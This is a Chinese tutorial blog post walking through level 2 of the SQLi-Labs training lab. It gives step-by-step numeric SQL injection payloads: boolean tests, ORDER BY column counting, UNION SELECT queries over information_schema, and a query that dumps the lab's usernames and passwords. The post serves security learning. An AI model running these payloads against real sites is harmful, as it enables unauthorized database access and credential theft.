Java教程

SqliLabs 第二关 ,数字型注入!!!

本文主要是介绍SqliLabs 第二关 ,数字型注入!!!,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

首先打开网页,进行注入点的测试 输入?id=1 and 1=1发现1=2的时候出现了报错,说明服务器接收了我们的指令,并且进行了反馈,说明了有注入点的存在,然后对注入点进行测试

截图.png

然后输入order by()来拆解一下有多少个显示字段,输入4发现没有回显,

截图.png

输入order by 3发现有回显并且有三个显示字段,

截图.png

然后输入union select 1,2,3 因为有三个显示字段,所以查询一下显示位,因为我们要显示我们输入的1,2,3.所以要把服务器想要显示的让他报错,发现只有2和3,有回显

截图.png

知道2和3可以回显之后就可以进行下一步,在2或者3的位置进行信息收集,首先进行他的数据库版本和数据库名字进行收集得到

数据库版本:version() 5.7.26

数据库名称:database() security

截图.png

因为得到了他的数据库的名字,所以我们要去收集他的表名

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

截图.png

查询到表名有 emails,referers,uagents,users

截图.png

查询完表名之后就要去查询他的列名,一共有四个表名,所以我们就要去挨个查询,去得到他的敏感信息,因为要查询列名,所以就要把查询的表名切换为列名,然后来自于表名下所有的列,,这些来自于表名所以后面有要改搜索到的表名,一共有四个表名,就要去挨个去搜索,

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' 蓝色字体为修改的值

得到的列名总共有 id,email_id id,referer,ip_address id,uagent,ip_address,username

USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password

截图.png

发现里面有,username,password意思是账号密码的意思,可以在这两个列里面查询里面的信息,因为不知道有多少密码可以尝试用group_concat()来全部输出看一下

union select 1,group_concat(username),group_concat(password) from users

联合查询,全部输出(username),全部输出(password) 来自于users

因为username,password是在users 这个表里面查询出来的,就要去这个表里面去查询

截图.png

得到账号Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4,admin5

密码Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4,admin5

这篇关于SqliLabs 第二关 ,数字型注入!!!的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!